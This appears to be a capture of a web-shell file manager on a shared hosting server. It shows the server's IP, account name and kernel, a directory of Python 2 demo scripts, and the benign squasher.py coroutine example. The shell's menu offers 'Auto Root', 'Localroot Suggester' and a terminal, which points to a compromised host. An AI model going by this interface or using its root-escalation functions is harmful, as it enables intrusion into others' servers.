Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 3.14.132.123
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib64 /
python2.7 /
Demo /
threads /
Delete
Unzip
Name
Size
Permission
Date
Action
Coroutine.py
5.39
KB
-rw-r--r--
2020-04-19 21:13
Coroutine.pyc
4.15
KB
-rw-r--r--
2024-04-10 04:58
Coroutine.pyo
4.15
KB
-rw-r--r--
2024-04-10 04:58
Generator.py
2.48
KB
-rw-r--r--
2020-04-19 21:13
Generator.pyc
3.24
KB
-rw-r--r--
2024-04-10 04:58
Generator.pyo
3.24
KB
-rw-r--r--
2024-04-10 04:58
README
440
B
-rw-r--r--
2020-04-19 21:13
fcmp.py
1.71
KB
-rw-r--r--
2020-04-19 21:13
fcmp.pyc
1.65
KB
-rw-r--r--
2024-04-10 04:58
fcmp.pyo
1.65
KB
-rw-r--r--
2024-04-10 04:58
find.py
4.12
KB
-rw-r--r--
2020-04-19 21:13
find.pyc
3.78
KB
-rw-r--r--
2024-04-10 04:58
find.pyo
3.78
KB
-rw-r--r--
2024-04-10 04:58
squasher.py
2.97
KB
-rw-r--r--
2020-04-19 21:13
squasher.pyc
2.06
KB
-rw-r--r--
2024-04-10 04:58
squasher.pyo
2.06
KB
-rw-r--r--
2024-04-10 04:58
sync.py
21.15
KB
-rw-r--r--
2020-04-19 21:13
sync.pyc
10.85
KB
-rw-r--r--
2024-04-10 04:58
sync.pyo
10.85
KB
-rw-r--r--
2024-04-10 04:58
telnet.py
3
KB
-rw-r--r--
2020-04-19 21:13
telnet.pyc
2.47
KB
-rw-r--r--
2024-04-10 04:58
telnet.pyo
2.47
KB
-rw-r--r--
2024-04-10 04:58
Save
Rename
# Coroutine example: general coroutine transfers # # The program is a variation of a Simula 67 program due to Dahl & Hoare, # (Dahl/Dijkstra/Hoare, Structured Programming; Academic Press, 1972) # who in turn credit the original example to Conway. # # We have a number of input lines, terminated by a 0 byte. The problem # is to squash them together into output lines containing 72 characters # each. A semicolon must be added between input lines. Runs of blanks # and tabs in input lines must be squashed into single blanks. # Occurrences of "**" in input lines must be replaced by "^". # # Here's a test case: test = """\ d = sqrt(b**2 - 4*a*c) twoa = 2*a L = -b/twoa R = d/twoa A1 = L + R A2 = L - R\0 """ # The program should print: # d = sqrt(b^2 - 4*a*c);twoa = 2*a; L = -b/twoa; R = d/twoa; A1 = L + R; #A2 = L - R #done # getline: delivers the next input line to its invoker # disassembler: grabs input lines from getline, and delivers them one # character at a time to squasher, also inserting a semicolon into # the stream between lines # squasher: grabs characters from disassembler and passes them on to # assembler, first replacing "**" with "^" and squashing runs of # whitespace # assembler: grabs characters from squasher and packs them into lines # with 72 character each, delivering each such line to putline; # when it sees a null byte, passes the last line to putline and # then kills all the coroutines # putline: grabs lines from assembler, and just prints them from Coroutine import * def getline(text): for line in string.splitfields(text, '\n'): co.tran(codisassembler, line) def disassembler(): while 1: card = co.tran(cogetline) for i in range(len(card)): co.tran(cosquasher, card[i]) co.tran(cosquasher, ';') def squasher(): while 1: ch = co.tran(codisassembler) if ch == '*': ch2 = co.tran(codisassembler) if ch2 == '*': ch = '^' else: co.tran(coassembler, ch) ch = ch2 if ch in ' \t': while 1: ch2 = co.tran(codisassembler) if ch2 not in ' \t': break co.tran(coassembler, ' ') ch = ch2 co.tran(coassembler, ch) def assembler(): line = '' while 1: ch = co.tran(cosquasher) if ch == '\0': break if len(line) == 72: co.tran(coputline, line) line = '' line = line + ch line = line + ' ' * (72 - len(line)) co.tran(coputline, line) co.kill() def putline(): while 1: line = co.tran(coassembler) print line import string co = Coroutine() cogetline = co.create(getline, test) coputline = co.create(putline) coassembler = co.create(assembler) codisassembler = co.create(disassembler) cosquasher = co.create(squasher) co.tran(coputline) print 'done' # end of example